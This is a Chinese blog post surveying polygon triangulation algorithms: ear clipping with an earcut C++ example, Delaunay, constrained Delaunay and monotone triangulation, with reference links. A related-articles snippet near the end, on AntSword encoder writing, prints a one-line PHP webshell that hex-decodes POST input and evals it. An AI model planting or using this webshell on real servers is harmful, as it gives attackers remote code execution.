C-11 三角剖分的调研

news2025/1/11 11:01:19

C-11 三角剖分算法

  • 三角剖分就是将输入的多边形,分割成一系列互不重叠的三角形,其重要性就在这不多赘述。
  • 这个是一个别人总结的链接:http://vterrain.org/Implementation/Libs/triangulate.html
    在这里插入图片描述

图片链接:http://www-cgrl.cs.mcgill.ca/~godfried/teaching/cg-projects/97/Thierry/thierry507webprj/complexity.htm

耳切割算法 (eat-cut) O ( n 3 ) O(n^3) O(n3)

  • 可以生成带孔多边形的算法
  • GitHub地址: https://github.com/mapbox/earcut.hpp
  • 这是生成凹多边形的算法,简单来说,凹下去的那一个顶点就是耳朵,先生成多边形的凸包,然后找到该多边形上凹下去的顶点,把那部分给“切”掉,这就是而且个算法

image-20240516135313203

#include <earcut.hpp>

// The number type to use for tessellation
using Coord = double;

// The index type. Defaults to uint32_t, but you can also pass uint16_t if you know that your
// data won't have more than 65536 vertices.
using N = uint32_t;

// 创建多边形
using Point = std::array<Coord, 2>;
std::vector<std::vector<Point>> polygon;

//放入轮廓线
polygon.push_back({{100, 0}, {100, 100}, {0, 100}, {0, 0}});
//放入洞,除了第一条线是轮廓线之外,从第二条线开始就是洞线了
polygon.push_back({{75, 25}, {75, 75}, {25, 75}, {25, 25}});

//返回索引值
std::vector<N> indices = mapbox::earcut<N>(polygon);
//读取索引值就是离散化完成的三角形了

Delaunay三角剖分算法 O ( n log ⁡ n ) O(n\log n) O(nlogn)

  • 普通的Delaunay三角剖分算法不能对带孔多边形进行三角剖分

约束Delaunay三角剖分算法 (CDT) O ( n log ⁡ n + m log ⁡ n ) O(n\log n+m\log n) O(nlogn+mlogn)

image-20240516131505621

  • CGAL几何库采用的就是这种三角剖分算法,因此无论是时间上还是稳定性上这种算法都是值得信赖的
  • 时间复杂度中的m是指轮廓边和孔洞边的数量
  • GitHub地址: https://github.com/artem-ogre/CDT
  • 算法步骤
    • 和Delaunay一样 先生成super triangle
    • 然后剔除super triangle带来的边
    • 剔除外轮廓边之外的边
    • 剔除孔洞之中的边

image-20240516165510858

image-20240516165618868

单调多边形三角化

  • 这个我也没大看懂,也没有自己代码实现过,所以不敢妄言
  • 简单的说一说就是把一个多边形分成若干个单调多边形(Monotone Polygon)。然后将单调多边形进行三角剖分
  • 单调多边形是指一个有两条链子组成的多边形,然后两条链子上的顶点的纵坐标是递增的或者横坐标是递增的。比如下面是一个y单调多边形,就是纵坐标递增。坐标相等也算递增,比如长方形也是单调多边形。
  • 这个思想就很有意思,就如同红黑树一样,介于平衡二叉树和普通二叉树之间。单调多边形就介于凸多边形和凹多边形之间。凸多边形必然是一个单调多边形,而凹多边形就不一定了。
  • 把一个多边形分成单调多边形的过程(line sweep)的时间复杂度是O(nlogn),而对一个单调多边形进行三角划分的时间复杂度是O(n);
  • https://www.cnblogs.com/dogstar/archive/2011/04/07/2008726.html 这个大佬的博客有多边形单调划分相关步骤的说明。也有单调多边形三角化的说明,可以看看
  • 在计算几何算法与应用这本书里面,也有算法的详细说明
  • 《计算几何算法与应用(第三版)》 链接:https://pan.baidu.com/s/1exLpWuD5cBcZGasWH8Y3_w 提取码:6666请添加图片描述

在这里插入图片描述
在这里插入图片描述

其他的剖分算法

  • https://www.flipcode.com/archives/Efficient_Polygon_Triangulation.shtml
  • http://www.cs.unc.edu/~dm/CODE/GEM/chapter.html

参考资料

  • 一个多边形三角剖分汇总网站 http://vterrain.org/Implementation/Libs/triangulate.html
  • 《J. O’Rourke, Computational in C, 2nd Edition》链接:https://pan.baidu.com/s/1E4tYKPJ2miU9OXRpw0tWng 提取码:6666

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1905139.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

STM32点灯闪烁

stm32c8t6引脚图 开发板引脚图 GPIO端口的每个位可以由软件分别配置成 多种模式。 ─ 输入浮空 ─ 输入上拉 ─ 输入下拉 ─ 模拟输入 ─ 开漏输出 ─ 推挽式输出 ─ 推挽式复用功能 ─ 开漏复用功能 配置GPIO端口步骤&#xff1a;开启时钟->使用结构体设置输出模式…

Android项目中,查看项目依赖树的多种方式

1.使用预设的Task来进行查看 1.1 命令行 查看某个模块的所有依赖树&#xff1a; gradlew [模块名称]:dependencies 例如&#xff1a;gradlew app:dependencies查看某个模块的某功能的依赖树&#xff1a; gradlew [模块名称]:dependencies --configuration [功能名称] 例如&…

国内采用docker部署open-metadata

背景 最近看看开源的元数据管理项目&#xff0c;比较出名点的有open-metadata、datahub、OpenLineage、atlas。 open-metadata有1千多的贡献者&#xff0c;4.8K的stars&#xff0c;社区现在也比较活跃&#xff0c;支持的数据库类型还蛮多&#xff0c;基本市面上常见的都有支持…

C++ 函数高级——函数的占位参数

C中函数的形参列表里可以有占位参数&#xff0c;用来做占位&#xff0c;调用函数时必须填补改位置 语法&#xff1a; 返回值类型 函数名&#xff08;数据类型&#xff09;{ } 在现阶段函数的占位参数存在意义不大&#xff0c;但是后面的课程中会用到该技术 示例&#xff1a;…

离线开发(VSCode、Chrome、Element)

一、VSCode 扩展 使用能联网的电脑 A&#xff0c;在VSCode官网下载安装包 使用能联网的电脑 A&#xff0c;从扩展下载vsix扩展文件 将VSCode安装包和vsix扩展文件通过手段&#xff08;u盘&#xff0c;刻盘 等&#xff09;导入到不能联网的离线电脑 B 中 在离线电脑 B 中安装…

Gitlab Fork Workflow(协作工作流)

Gitlab Fork WorkFlow&#xff08;协作工作流&#xff09; Fork WorkFlow用于团队间的协作开发。在开发过程中&#xff0c;我们都需要将最新修改的代码合并到代码库上&#xff0c;在代码合并之前&#xff0c;为了保证代码符合上传要求&#xff08;符合需求、代码规范等&#xf…

PageHelper分页查询遇到的小问题

如果我们是这样子直接查询 pagehelper会拼接导我们的sql语句之后 这样子我们搜索出来的list&#xff0c;就是里面参杂了PageHelper的东西 所以我们可以直接转成我们的Page类型 但是如果我们搜索出来的是List<Blog>&#xff0c;我有些信息不想返回给前端&#xff0c;所以…

运维系列.Nginx中使用HTTP压缩功能

运维专题 Nginx中使用HTTP压缩功能 - 文章信息 - Author: 李俊才 (jcLee95) Visit me at CSDN: https://jclee95.blog.csdn.netMy WebSite&#xff1a;http://thispage.tech/Email: 291148484163.com. Shenzhen ChinaAddress of this article:https://blog.csdn.net/qq_28550…

系统级别的原生弹窗窗口

<!DOCTYPE html> <html lang"zh-CN"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>原生的弹出窗口dialog</title><style>…

【密码学】信息安全五大属性

信息安全的五大属性&#xff0c;通常被称为CIA三元组加上两个额外的属性&#xff0c;他们是确保信息在存储、处理和传输过程中保持安全、完整和可用的关键要素。这些属性共同构成了信息安全的基础框架。 一、信息安全五大属性 我先给出一个直观的列表&#xff0c;方面大家后续…

C++面向对象的常见面试题目(一)

1. 面向对象的三大特征 &#xff08;1&#xff09;封装&#xff1a;隐藏对象的内部状态&#xff0c;只暴露必要的接口。 #include <iostream> #include <string>// 定义一个简单的类 Person class Person { private: // 私有成员&#xff0c;外部不可直接访问std…

【LeetCode】十三、分治法:多数元素 + 最大子序列和

文章目录 1、分治法2、leetcode169&#xff1a;多数元素3、leetcode53&#xff1a;最大子序和 1、分治法 分治一般都搭配递归使用&#xff1a; 用分治法的一个应用——归并排序&#xff1a;将一组数不停的一分为二&#xff0c;直到分到每组只有一个数的时候 分到每组只有一个数…

【qt】TCP 服务端怎么收到信息?

上一节,我已经讲了,TCP的监听,是基于上一节的,不知道的可以看看. 当我们的TCP 服务器 有 客户端请求连接的时候,会发出一个信号newConnection(). 在TCP服务端与客户端的通信中,我们需要使用到套接字 QTcpSocket类. 套接字相当于是网络通信的接口,服务段和客户端都要通过它进行通…

【网络安全】实验一(网络拓扑环境的搭建)

一、本次实验的实验目的 学习利用 VMware 创建虚拟环境 学习利用 VMware 搭建各自网络拓扑环境 二、创建虚拟机 三、克隆虚拟机 选择克隆的系统必须处于关机状态。 方法一&#xff1a; 方法二&#xff1a; 需要修改克隆计算机的名字&#xff0c;避免产生冲突。 四、按照要求完…

JavaWeb—js(1)

概述 javascript简称js 1.js的特点&#xff0c;基本语法&#xff0c;对象等 2.js的功能&#xff0c;用来操作页面元素&#xff0c;用户交互&#xff0c;浏览器交互&#xff0c;网络数据的请求 后期使用的更多的是js的框架 jquery.js vue.js react.js JS相关概念 javascrip…

python使用pywebview集成vue3和element-plus开发桌面系统框架

随着web技术越来越成熟&#xff0c;就连QQ的windows客户端都用web技术来开发&#xff0c;所以在未来&#xff0c;web技术来开发windows桌面软件也会越来越多&#xff0c;所以在此发展驱动之下&#xff0c;将最近流程的python与web技术相结合&#xff0c;使用vue3和element-plus…

蚁剑编码器编写——中篇

看第二个示例 hex编码 木马 <?php foreach($_POST as $k > $v){$_POST[$k]pack("H*", $v);} eval($_POST[ant]); ?>pack(“H*”, $v)是将 $v 转换为为二进制&#xff0c;也就是ASCII解码 编码器 module.exports (pwd, data) > {let ret {};for (…

C/C++ 代码注释规范及 doxygen 工具

参考 谷歌项目风格指南——注释 C doxygen 风格注释示例 ubuntu20 中 doxygen 文档生成 doxygen 官方文档 在 /Doxygen/Special Command/ 章节介绍 doxygen 的关键字 注释说明 注释的目的是提高代码的可读性与可维护性。 C 风格注释 // 单行注释/* 多行注释 */ C 风格注…

ESP32 步进电机精准控制:打造高精度 DIY 写字机器人,实现流畅书写体验

摘要: 想让你的 ESP32 不再仅仅是控制灯光的工具吗&#xff1f; 本文将带你使用 ESP32 开发板、步进电机和简单的机械结构打造一个能够自动写字的机器人。我们将深入浅出地讲解硬件连接、软件代码以及控制逻辑&#xff0c;并提供完整的项目代码和电路图&#xff0c;即使是 Ardu…

AI与编程:一个学生的心路历程与思考

前言 大家好&#xff0c;本人是在一个在校的大学生&#xff0c;方向是前端语言。爱好是码代码和看一点小新闻&#xff0c;游戏也是喜爱的。其实本篇文章的想法是源于网上一些人对AI以及对前端的看法&#xff0c;看完网上的评论后我也是有感而发。本篇文章的讨论中心也是围绕着A…